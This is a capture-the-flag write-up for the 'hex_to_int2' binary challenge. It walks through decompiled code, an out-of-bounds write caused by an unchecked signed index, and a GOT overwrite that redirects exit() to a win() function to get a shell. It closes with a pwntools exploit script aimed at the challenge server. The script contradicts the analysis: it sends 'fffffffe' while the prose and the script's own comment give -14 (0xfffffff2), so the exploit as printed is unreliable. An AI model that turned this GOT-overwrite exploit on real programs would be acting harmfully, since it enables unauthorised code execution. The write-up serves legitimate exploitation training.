Overview

Description:

```
Okay, I vibe coded a hex converter... but I ran out of tokens after 0xff, so
you can just add the correct conversions as you find them and I'll fill the
rest in after my token limit refreshes tomorrow. And best part, it'll only
be $20/month for the subscription after it's out of beta!!
```

Use `file hex_to_int2`

```
hex_to_int2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux
3.2.0, not stripped
```

Use `checksec`

```
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH Symbols     FORTIFY Fortified   Fortifiable FILE
Partial RELRO   No canary found   NX enabled    No PIE          RPATH     No
RUNPATH   46 Symbols      No    0       1       hex_to_int2
```

Analyze and Solve

Source code:

```
void main(void)

{
  undefined4 local_14;
  int local_10;
  int local_c;

  while( true ) {
    while( true ) {
      menu();
      __isoc23_scanf(&DAT_0040207d,&local_10); //%d
      if (local_10 != 1) break;
      printf("Enter a hex character: ");
      __isoc23_scanf(&DAT_00402098,&local_c); //%x
```

```
      printf("The integer value is: %d\n",(ulong)*(uint *)(table +
(long)local_c * 4));
    }
    if (local_10 != 2) break;
    printf("Enter a hex character to add: ");
    __isoc23_scanf(&DAT_00402098,&local_c); //%x
    puts("What is its integer value?");
    __isoc23_scanf(&DAT_0040207d,&local_14); //%d
    *(undefined4 *)(table + (long)local_c * 4) = local_14;
    puts("Value added to table.");
  }
  printf("Invalid choice.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

`scanf` is not check the size of input $\Longrightarrow$ Out of Bound vunerability

Flow of `main`:

- Choose 1 or 2 with `local_c` is hex input character:
  - If 1: print the hex value of character (if < `0xff`)
    - `print(table[local_c * 4])`
  - If 2: extend the table by using player input
    - `table[local_c * 4] = local_14` with `local_14` is player input
    - And `local_c` is read by `scanf(%x)`, save into `int32` then extend-sign (32bit to 64bit) by `cltq` command in ASM

Because this ELF with No PIE so I can have:

- `win_addr = 0x4011d4` (4198868 in decimal)
- `table = 0x404060`
- `exit@GLIBC = 0x404028`

Calculate the input:

- We need `table[local_c*4] = exit()` $\Longrightarrow$ `table + (local_c * 4) = 0x404028`
- $\Longrightarrow$ `local_c = -14` (in decimal) $\Longrightarrow$ `local_c = 0xfffffff2` (in signed hex)

Vector attack:

- Choose 2, then input `0xfffffff2` $\Longrightarrow$ now `local_c = -14`
- $\Longrightarrow$ `table + (-14 * 4) = exit@GOT`
- Then put the decimal value of `win()` $\Longrightarrow$ now `exit() in GOT = win()`

- $\Longrightarrow$ `table + (-14 * 4) = win()`
- $\Longrightarrow$ `exit@GOT = win()`
- Overwrite `exit()` by `win()`
- When have to choose 1 or 2, put 3 $\Longrightarrow$ `exit()` called but it is replaced by `win()`
- Get shell

Use Python:

```
from pwn import *

p = remote('chals.cyberjousting.com', 1365)

p.sendlineafter(b"?.", b"2")
p.sendlineafter(b"add: ", b"fffffffe") # Index -14 → exit@GOT
p.sendlineafter(b"value?", b"4198868")
p.sendlineafter(b"?.", b"3") # Trigger exit() → win() → shell

p.interactive()
```